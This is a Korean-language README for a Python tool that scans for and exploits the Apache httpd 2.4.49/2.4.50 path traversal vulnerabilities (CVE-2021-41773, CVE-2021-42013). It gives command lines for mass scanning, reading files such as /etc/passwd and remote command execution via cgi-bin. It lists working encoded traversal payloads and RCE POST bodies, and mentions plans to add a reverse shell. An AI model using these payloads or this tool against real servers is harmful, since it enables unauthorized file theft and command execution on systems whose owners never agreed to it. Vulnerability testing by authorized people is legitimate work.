
apache httpd 경로 탐색 검사기(CVE-2021-41773 / CVE-2021-42013)
20211005, apache httpd 2.4.49의 디렉터리 트래버설 취약점(cve-2021-41773)이 온라인에 공개되었으며, 임의 파일 읽기(트래버설된 디렉터리에 접근이 허용된 경우, 예: <Directory />Require all granted</Directory> 설정 시, 기본적으로는 허용되지 않음) 또는 명령 실행(rce는 cgi를 활성화해야 하며, 기본적으로 cgi 모듈은 포함되지 않음)을 유발할 수 있습니다.
20211008, 2.4.50의 디렉터리 트래버설 취약점(cve-2021-42013)이 추가로 발견되었으며, 이는 cve-2021-41773의 패치를 우회한 것입니다.
취약점 상세는 다음 문서를 참조하세요: apache httpd 2.4.49/2.4.50 디렉터리 트래버설 취약점 재현 및 분석
python3으로 실행
사용 도움말: python3 apache-httpd-path-traversal.py -h

단일 url 검사: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80"


배치 검사: python3 apache-httpd-path-traversal.py -f urls.txt -t 30 -s 3

파일 읽기: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /icons --readfile

명령 실행: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /cgi-bin --rce

urllib.request로 http 데이터 패킷을 전송합니다.
취약점 존재 여부는 /etc/passwd를 읽어 반환 데이터에 "root:" 문자열이 포함되어 있는지 확인하여 판단합니다(대부분 Linux이므로 Windows 감지는 우선 무시합니다).
멀티스레드를 지원하며, 효율성을 높이기 위해 타임아웃 시간을 선택할 수 있습니다.
존재하는 디렉터리(--cdir)와 rce용 셸(--rceshell)을 선택할 수 있어 유연성을 제공합니다.
검사 시 가능한 공용 디렉터리 목록을 사용하여 적중률을 높입니다. commonDirList = ['/cgi-bin', '/icons', '/assets', '/uploads', '/img', '/image']
참고: 파일 읽기는 icons 디렉터리를 이용하고, rce는 cgi-bin 디렉터리를 사용해야 하는 경우가 있으므로 구체적인 상황에 맞춰 분석해야 합니다.
7가지 poc와 2가지 rce용 post data 형식을 사용합니다:
#cve-2021-41773 poc0 = "/.%2e/%2e%2e/%2e%2e/%2e%2e"
poc1 = "/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e"
#cve-2021-42013 poc2 = "/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65"
poc3 = "/.%%32%65/.%%32%65/.%%32%65/.%%32%65"
poc4 = "/.%%32e/.%%32e/.%%32e/.%%32e"
poc5 = "/.%2%65/.%2%65/.%2%65/.%2%65"
#rce data rce0 = "echo;id"
rce1 = "echo Content-Type: text/plain; echo; id"
//rce의 post 방식을 get 방식으로 바꿔도 되는 것 같습니다.
//payload는 대상의 apache 경로 깊이에 따라 벗어나는 횟수를 조정해야 하며, 보통 4단계면 충분합니다.
//icons/ 또는 cgi-bin/처럼 apache에 존재하는 디렉터리가 하나 필요합니다.
Windows 시스템 감지가 추가될 수 있습니다.
리버스 셸 등 추가 악용 기능이 추가될 수 있습니다.
gmail: [email protected]